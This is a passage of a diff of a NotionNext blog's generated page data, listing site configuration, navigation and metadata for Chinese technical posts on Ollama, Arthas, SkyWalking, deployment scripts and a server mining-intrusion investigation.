-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-3"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 